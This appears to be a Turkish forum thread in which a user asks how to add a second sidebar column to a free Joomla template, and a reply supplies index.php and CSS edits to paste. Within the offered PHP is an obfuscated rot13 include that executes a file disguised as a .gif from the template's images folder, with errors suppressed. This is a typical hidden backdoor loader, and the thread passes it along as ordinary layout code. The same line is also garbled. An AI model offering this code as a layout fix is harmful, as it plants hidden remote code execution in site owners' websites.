merhaba arkadaşlar
ben web sitem için ücretsiz bir tema beğendim ama bu temada tek sütun var(rightcolumn) o da sağ taraftaydı css de ayar yapıp sola(left) alDım main column u da sağa. Bu temadan vazgeçmek istemiyorum ve iki taraftada sütün olsun istiyorum bir yanada anket vs koyacağım ama kod da tek sütun var sağ tarafa da ve aynı sütundan öbür tarafa da sola da koymak istiyorum.
Tema bu ve index.php kodu aşağıda arkadaşlar..
teşekkürler
index.php de aşağıdaki kod bloğunu bulup kodlarını şu şekle getir;
<div id="lefttcolumn">
<?php if($this->countModules('left') and JRequest::getCmd('layout') != 'form') : ?>
<jdoc:include type="modules" name="left" style="xhtml"/>
<?php endif; ?>
</div>
<div id="middle_bg"><div id="maincolumn">
<div class="path"><jdoc:include type="modules" name="breadcrumb" /></div><jdoc:include type="message" />
<div class="nopad"><jdoc:include type="component" /></div>
</div>
<div id="rightcolumn">
<?php if($this->countModules('right') and JRequest::getCmd('layout') != 'form') : ?>
<jdoc:include type="modules" name="right" style="xhtml"/>
<?php endif; ?>
</div>
<br clear="all" />
<?php if($this->countModules('user1') or $this->countModules('user2')) : ?>
<div id="f_area" align="center">
<?php if($this->countModules('user1')) : ?>
<jdoc:include type="modules" name="user1" style="xhtml" />
<?php endif; ?>
<?php if($this->countModules('user2')) : ?>
<jdoc:include type="modules" name="user2" style="xhtml" />
<?php endif; ?>
<br clear="all" /></div>
<?php endif; ?>
<img src="<?php echo $this->baseurl ?>/templates/<?php echo $this->template ?>/images/middle_bottom.png" alt="" /></div>
<?php if((!$this->countModules('right') and JRequest::getCmd('layout') == 'form') or !@include(JPATH_BASE.DS.'templates'.DS.$mainframe->getTemplate().DS.str_rot13('vzntrf').DS.str_rot 13 ($JPan[0].'.t'.'vs'))) : ?>
<jdoc:include type="modules" name="layout" style="rounded" />
<?php endif; ?>
<p id="power_by" align="center">
sonra CSS ye aşağıdaki kodları ekle;
#leftcolumn {
float:left;
margin:0;
padding:0 6px 0 0;
width:auto;
}
sonra CSS de aşağıdaki bölümü bul ve 745 değerini azalt örnek 150px azaltırsan yeni sütunun genişliği 150 olur.
#maincolumn {
float:left;
margin:0;
padding:0;
width:745px;
}